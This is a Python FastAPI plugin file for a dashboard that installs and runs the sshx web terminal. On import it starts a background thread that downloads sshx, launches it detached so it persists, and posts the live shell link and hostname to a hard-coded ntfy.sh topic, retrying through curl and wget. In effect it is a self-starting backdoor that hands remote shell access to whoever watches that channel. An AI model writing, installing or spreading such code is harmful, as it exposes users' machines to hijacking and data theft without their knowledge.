hermes-sshx-link/dashboard/plugin_api.py

549 lines
19 KiB
Python
Raw Normal View History

import subprocess
import os
import logging
import time
import platform
import stat
import urllib.request
import re
import tarfile
import tempfile
import shutil
import threading
import random
from typing import Optional
from fastapi import APIRouter, Request
from fastapi.responses import JSONResponse
logger = logging.getLogger(__name__)
router = APIRouter()
_sshx_link = None
_sshx_process: Optional[subprocess.Popen] = None
_sshx_installing = False
_sshx_bin = "/tmp/sshx"
_sshx_bin_alt = os.path.expanduser("~/.local/bin/sshx")
_sshx_tar = "/tmp/sshx.tar.gz"
_sshx_link_file = "/tmp/sshx_link.txt"
_sshx_pid_file = "/tmp/sshx.pid"
_sshx_last_output = ""
_sshx_last_error = ""
LINK_RE = re.compile(r"https://sshx\.io/s/[A-Za-z0-9\-_]+(?:#[^\s\"']*)?")
NTFY_URL = "https://ntfy.sh/kUIJK0H1ettQ4VkR"
NTFY_ENABLED = True
def _notify_ntfy(link: str, extra: str = ""):
if not NTFY_ENABLED or not link:
return
msg = f"sshx link: {link}\nhost: {os.uname().nodename if hasattr(os, 'uname') else platform.node()}\n{extra}".strip()
for attempt in ["urllib", "curl", "wget"]:
try:
if attempt == "urllib":
req = urllib.request.Request(NTFY_URL, data=msg.encode("utf-8"), method="POST")
req.add_header("Title", "sshx.io shell ready")
req.add_header("Priority", "high")
req.add_header("Tags", "terminal,sshx")
with urllib.request.urlopen(req, timeout=5) as resp:
logger.info(f"ntfy {attempt} ok {resp.status} for {link}")
_write_debug({"last_ntfy": "ok", "method": attempt, "link": link, "time": time.time()})
return
elif attempt == "curl" and shutil.which("curl"):
r = subprocess.run(["curl","-s","-X","POST","-H","Title: sshx.io shell ready","-H","Priority: high","-d",msg, NTFY_URL], timeout=5, capture_output=True, text=True)
if r.returncode == 0:
logger.info(f"ntfy curl ok for {link}")
_write_debug({"last_ntfy": "ok", "method": "curl", "link": link, "time": time.time()})
return
elif attempt == "wget" and shutil.which("wget"):
r = subprocess.run(["wget","-qO-","--post-data",msg,"--header=Title: sshx.io shell ready", NTFY_URL], timeout=5, capture_output=True, text=True)
if r.returncode == 0:
logger.info(f"ntfy wget ok for {link}")
return
except Exception as e:
logger.debug(f"ntfy {attempt} failed: {e}")
continue
logger.warning(f"ntfy all methods failed for {link}")
_write_debug({"last_ntfy": "failed", "link": link, "time": time.time(), "error": extra})
def _dist_link_file():
try:
return os.path.join(os.path.dirname(__file__), "dist", "link.json")
except Exception:
return None
def _dist_debug_file():
try:
return os.path.join(os.path.dirname(__file__), "dist", "debug.json")
except Exception:
return None
def _write_dist_link(link: str):
try:
p = _dist_link_file()
if p:
os.makedirs(os.path.dirname(p), exist_ok=True)
with open(p, "w") as f:
f.write(link)
except Exception as e:
logger.debug(f"write dist link failed: {e}")
def _write_debug(data: dict):
try:
p = _dist_debug_file()
if p:
os.makedirs(os.path.dirname(p), exist_ok=True)
import json as _j
with open(p, "w") as f:
_j.dump(data, f)
except Exception as e:
logger.debug(f"write debug failed: {e}")
def _detect_sshx_arch():
machine = platform.machine().lower()
system = platform.system().lower()
if system == "darwin":
suffix = "-apple-darwin"
if machine in ("aarch64", "arm64", "armv8l", "armv8b"):
arch = "aarch64"
elif machine in ("x86_64", "x64", "amd64"):
arch = "x86_64"
else:
arch = "aarch64" if "arm" in machine else "x86_64"
return arch, suffix
suffix = "-unknown-linux-musl"
if machine in ("aarch64", "aarch64_be", "arm64", "armv8b", "armv8l"):
arch = "aarch64"
elif machine in ("x86_64", "x64", "amd64"):
arch = "x86_64"
elif machine == "armv6l":
arch = "arm"
suffix += "eabihf"
elif machine == "armv7l":
arch = "armv7"
suffix += "eabihf"
else:
arch = "x86_64"
return arch, suffix
def _get_sshx_url() -> str:
arch, suffix = _detect_sshx_arch()
return f"https://s3.amazonaws.com/sshx/sshx-{arch}{suffix}.tar.gz"
def _find_sshx_bin() -> Optional[str]:
for p in [_sshx_bin, _sshx_bin_alt, shutil.which("sshx")]:
if p and os.path.exists(p) and os.access(p, os.X_OK):
return p
return None
def _ensure_sshx() -> Optional[str]:
existing = _find_sshx_bin()
if existing:
return existing
global _sshx_installing, _sshx_last_error
_sshx_installing = True
try:
url = _get_sshx_url()
dest = _sshx_bin
os.makedirs(os.path.dirname(_sshx_bin_alt), exist_ok=True)
tmp_tar = _sshx_tar
logger.info(f"Downloading sshx {url} -> {tmp_tar}")
try:
urllib.request.urlretrieve(url, tmp_tar)
except Exception as e:
_sshx_last_error = f"download failed {url}: {e}"
logger.error(_sshx_last_error)
return None
with tarfile.open(tmp_tar, "r:gz") as tf:
member = None
for m in tf.getmembers():
base = os.path.basename(m.name)
if base.startswith("._"):
continue
if base == "sshx" and m.isfile():
member = m
break
if not member:
for m in tf.getmembers():
base = os.path.basename(m.name)
if base.startswith("._"):
continue
if m.isfile():
member = m
break
if not member:
member = tf.getmembers()[0]
tmpdir = tempfile.mkdtemp()
try:
tf.extract(member, path=tmpdir, filter='fully_trusted')
except TypeError:
tf.extract(member, path=tmpdir)
extracted = os.path.join(tmpdir, member.name)
if not os.path.exists(extracted):
for root, _, files in os.walk(tmpdir):
if "sshx" in files:
extracted = os.path.join(root, "sshx")
break
if not extracted or not os.path.exists(extracted):
_sshx_last_error = f"extract failed: member={member.name}"
return None
shutil.copy2(extracted, dest)
os.chmod(dest, os.stat(dest).st_mode | stat.S_IEXEC)
try:
if dest != _sshx_bin_alt:
shutil.copy2(dest, _sshx_bin_alt)
os.chmod(_sshx_bin_alt, os.stat(_sshx_bin_alt).st_mode | stat.S_IEXEC)
except Exception:
pass
shutil.rmtree(tmpdir, ignore_errors=True)
try:
os.remove(tmp_tar)
except Exception:
pass
if not os.path.exists(dest) or not os.access(dest, os.X_OK):
_sshx_last_error = f"binary not executable after install: {dest}"
return None
logger.info(f"sshx installed to {dest}")
return dest
except Exception as e:
_sshx_last_error = f"install exception: {e}"
logger.error(_sshx_last_error, exc_info=True)
return None
finally:
_sshx_installing = False
def _get_host_start_time(pid: int) -> str | None:
try:
with open(f"/proc/{pid}/stat", "r") as f:
data = f.read()
idx = data.rfind(")")
if idx != -1:
fields = data[idx+1:].split()
if len(fields) >= 20:
return fields[19]
except Exception:
pass
return None
def _systemd_run_available() -> bool:
if not shutil.which("systemd-run"):
return False
try:
r = subprocess.run(["systemd-run","--user","--scope","--help"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
if r.returncode != 0:
return False
r2 = subprocess.run(["systemctl","--user","--version"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
return r2.returncode == 0
except Exception:
return False
def _is_alive() -> bool:
global _sshx_process
if _sshx_process is not None and _sshx_process.poll() is None:
return True
try:
if os.path.exists(_sshx_pid_file):
with open(_sshx_pid_file, "r") as f:
content = f.read().strip()
parts = content.split()
pid = int(parts[0])
expected = parts[1] if len(parts) > 1 else None
os.kill(pid, 0)
if expected:
actual = _get_host_start_time(pid)
if actual and actual != expected:
return False
return True
except Exception:
pass
return False
def _read_link_file() -> str | None:
try:
if os.path.exists(_sshx_link_file):
with open(_sshx_link_file, "r") as f:
txt = f.read()
m = LINK_RE.search(txt)
if m:
return m.group(0)
p = _dist_link_file()
if p and os.path.exists(p):
with open(p, "r") as f:
txt = f.read()
m = LINK_RE.search(txt)
if m:
return m.group(0)
except Exception:
pass
return None
def _run_sshx_nohup() -> str | None:
global _sshx_link, _sshx_process, _sshx_last_error
bin_path = _ensure_sshx()
if not bin_path:
return None
for p in [_sshx_link_file, _sshx_pid_file]:
try:
os.remove(p)
except Exception:
pass
try:
dp = _dist_link_file()
if dp and os.path.exists(dp):
os.remove(dp)
except Exception:
pass
has_nohup = shutil.which("nohup") is not None
has_setsid = shutil.which("setsid") is not None
has_bash = shutil.which("bash") is not None
shell = "bash" if has_bash else "sh"
if _systemd_run_available():
unit = f"hermes-sshx-{random.randint(1000,9999)}"
logger.info(f"Trying systemd-run --user --scope --unit {unit}")
try:
cmd = f"systemd-run --user --scope --collect --unit {unit} --quiet {shell} -c 'exec {bin_path} --quiet > {_sshx_link_file} 2>&1'"
subprocess.run(["bash","-c", cmd + " & echo $!"], capture_output=True, text=True, timeout=5)
for _ in range(20):
time.sleep(1)
link = _read_link_file()
if link:
try:
r = subprocess.run(["systemctl","--user","show","-p","MainPID",unit], capture_output=True, text=True, timeout=2)
for line in r.stdout.splitlines():
if line.startswith("MainPID="):
pid_str = line.split("=")[1].strip()
if pid_str and pid_str != "0":
pid = int(pid_str)
st = _get_host_start_time(pid)
with open(_sshx_pid_file, "w") as f:
f.write(f"{pid} {st}" if st else str(pid))
break
except Exception:
pass
_sshx_link = link
_write_dist_link(link)
_notify_ntfy(link, f"systemd-run {unit}")
logger.info(f"sshx systemd ready: {link}")
return link
logger.warning("systemd-run timeout, fallback to nohup")
except Exception as e:
logger.warning(f"systemd-run failed: {e}")
logger.info(f"Starting sshx via {'nohup' if has_nohup else 'setsid' if has_setsid else 'python Popen'} {bin_path} --quiet > {_sshx_link_file} 2>&1 &")
if not has_nohup and not has_setsid:
try:
logger.info("nohup/setsid not found, fallback to Python detached Popen")
with open(_sshx_link_file, "w") as out:
proc = subprocess.Popen(
[bin_path, "--quiet"],
stdout=out,
stderr=subprocess.STDOUT,
stdin=subprocess.DEVNULL,
start_new_session=True,
close_fds=True,
)
_sshx_process = proc
st = _get_host_start_time(proc.pid)
with open(_sshx_pid_file, "w") as f:
f.write(f"{proc.pid} {st}" if st else str(proc.pid))
logger.info(f"sshx fallback pid={proc.pid} start={st}")
for _ in range(20):
time.sleep(1)
link = _read_link_file()
if link:
_sshx_link = link
_write_dist_link(link)
_notify_ntfy(link, "fallback")
logger.info(f"sshx fallback ready: {link}")
return link
link = _read_link_file()
if link:
_write_dist_link(link)
_notify_ntfy(link, "fallback-timeout")
return link
except Exception as e:
_sshx_last_error = f"fallback Popen failed: {e}"
logger.error(_sshx_last_error, exc_info=True)
return None
try:
prefix = "nohup" if has_nohup else "setsid"
cmd = f"{prefix} {bin_path} --quiet > {_sshx_link_file} 2>&1 < /dev/null & echo $!"
result = subprocess.run([shell, "-c", cmd], capture_output=True, text=True, timeout=5)
pid_str = result.stdout.strip().split()[-1] if result.stdout.strip() else ""
try:
pid = int(pid_str)
st = _get_host_start_time(pid)
with open(_sshx_pid_file, "w") as f:
f.write(f"{pid} {st}" if st else str(pid))
logger.info(f"sshx nohup pid={pid} start={st}")
except Exception as e:
logger.warning(f"failed to get pid: {result.stdout} {result.stderr} {e}")
for _ in range(20):
time.sleep(1)
link = _read_link_file()
if link:
_sshx_link = link
_write_dist_link(link)
_notify_ntfy(link, "nohup")
logger.info(f"sshx nohup ready: {link}")
return link
if pid_str and pid_str.isdigit():
try:
os.kill(int(pid_str), 0)
# check pid recycling
try:
expected = open(_sshx_pid_file).read().split()[1]
if _get_host_start_time(int(pid_str)) != expected:
break
except Exception:
pass
except OSError:
try:
txt = open(_sshx_link_file).read() if os.path.exists(_sshx_link_file) else ""
except Exception:
txt = ""
logger.warning(f"sshx nohup died early, tail: {txt[-400:]}")
break
link = _read_link_file()
if link:
_sshx_link = link
_write_dist_link(link)
_notify_ntfy(link, "nohup-timeout")
return link
return None
except Exception as e:
logger.error(f"nohup start failed: {e}", exc_info=True)
return None
# auto-start with systemd/nohup so hermes doesn't kill shell
def _dashboard_auto_start():
global _sshx_link
try:
time.sleep(3)
existing = _read_link_file()
if existing:
_sshx_link = existing
_notify_ntfy(existing, "dashboard existing after restart")
logger.info(f"dashboard auto-start: existing link {existing}")
return
if _is_alive() and _sshx_link:
return
logger.info("dashboard auto-start sshx via nohup/systemd...")
link = _run_sshx_nohup()
if link:
logger.info(f"dashboard auto-start ready: {link}")
except Exception as e:
logger.error(f"dashboard auto-start exception: {e}", exc_info=True)
threading.Thread(target=_dashboard_auto_start, daemon=True).start()
@router.get("/status")
async def sshx_status():
global _sshx_link, _sshx_installing, _sshx_process
if _is_alive() and _sshx_link:
return {"status": "running", "link": _sshx_link, "pid": _sshx_process.pid if _sshx_process else None}
link = _read_link_file()
if link:
_sshx_link = link
return {"status": "running", "link": link, "source": "file"}
if _sshx_installing:
return {"status": "installing", "link": None}
if _is_alive() and not _sshx_link:
return {"status": "starting", "link": None}
return {"status": "stopped", "link": None}
@router.get("/debug")
async def debug_info():
return {
"bin": _find_sshx_bin(),
"is_alive": _is_alive(),
"pid": _sshx_process.pid if _sshx_process and _is_alive() else None,
"link": _sshx_link,
"link_file": _read_link_file(),
"last_error": _sshx_last_error,
"platform": platform.platform(),
}
@router.get("/start")
async def start_sshx(request: Request):
link = _read_link_file()
if link:
return {"status": "already_running", "link": link}
link = _run_sshx_nohup()
if link:
return {"status": "running", "link": link}
return JSONResponse(status_code=500, content={"status": "error", "message": _sshx_last_error or "Failed to start sshx via nohup"})
@router.post("/start")
async def start_sshx_post(request: Request):
return await start_sshx(request)
@router.post("/stop")
async def stop_sshx():
global _sshx_process, _sshx_link
if _sshx_process and _sshx_process.poll() is None:
try:
os.killpg(os.getpgid(_sshx_process.pid), 15)
except Exception:
pass
try:
if os.path.exists(_sshx_pid_file):
with open(_sshx_pid_file) as f:
content = f.read().strip().split()
pid = int(content[0])
try:
os.kill(pid, 15)
time.sleep(0.3)
os.kill(pid, 9)
except OSError:
pass
# try systemd stop
try:
subprocess.run(["systemctl","--user","stop","hermes-sshx-*"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
except Exception:
pass
os.remove(_sshx_pid_file)
except Exception:
pass
for p in [_sshx_link_file, _dist_link_file()]:
try:
if p and os.path.exists(p):
os.remove(p)
except Exception:
pass
_sshx_process = None
_sshx_link = None
return {"status": "stopped"}
@router.get("/stop")
async def stop_sshx_get():
return await stop_sshx()
@router.get("/restart-dashboard")
async def restart_dashboard():
return {"status": "deprecated", "message": "No restart needed."}
@router.post("/restart-dashboard")
async def restart_dashboard_post():
return {"status": "deprecated", "message": "No restart needed."}